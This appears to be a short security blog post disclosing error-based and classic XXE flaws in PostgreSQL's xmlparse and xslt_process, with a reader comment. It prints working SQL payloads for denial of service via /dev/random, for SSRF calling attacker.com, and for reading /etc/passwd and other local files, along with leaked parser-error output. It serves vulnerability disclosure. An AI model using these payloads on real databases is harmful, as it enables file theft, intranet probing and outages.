PostgreSQL (all) error-based XXE 0day

Recently we found and published at PHDays PostgreSQL 0day error-based XXE vulnerability.
Currently it may be used by attacker to read parts of local files and make requests from DB server to intranet (SSRF - Server Side Request Forgery).

Example:
DoS:
select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/dev/random">]><content>&abc;</content>')

SSRF:
select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "http://attacker.com/?xxe=OK">]><content>&abc;</content>')

Error-based XXE:

select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;</content>');

ERROR:  invalid XML document
DETAILS:  /etc/network/if-up.d/mountnfs:28: parser error : StartTag: invalid element name
exec 9<&0 </etc/fstab       ^
/etc/network/if-up.d/mountnfs:28: parser error : xmlParseEntityRef: no name
exec 9<&0 </etc/fstab        ^
/etc/network/if-up.d/mountnfs:28: parser error : chunk is not well balanced
exec 9<&0 </etc/fstab          ^
Entity: line 1: parser error : Failure to process entity abc
E content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;
                                                                               ^
Entity: line 1: parser error : Entity 'abc' not defined
E content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;                                                                               ^
UPDATE!
Classical XXE from XSLT transformation found.
Reading any data are possible also:


SELECT xslt_process('<!DOCTYPE employee [<!ENTITY asd SYSTEM "/etc/passwd">] ><employee><name>&asd;</name><age>30</age><pay>400</pay></employee>'::text, $$<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"><xsl:template match="*">  <xsl:element name="samples">    <xsl:element name="sample"><xsl:value-of select="//employee/name/text()"/> </xsl:element>  </xsl:element></xsl:template></xsl:stylesheet>$$::text, 'n1=v1,n2=v2,n3=v3,n4=v4,n5=v5'::text);
                                     xslt_process

  1. I'd like to notice that xslt_process is from xml2 postgres module, which is being deprecated [1]. E.g. in psql 9.1.3 it is turned off by default.

    PS. That's why I wasn't able to discover this file-reading during phdays =)
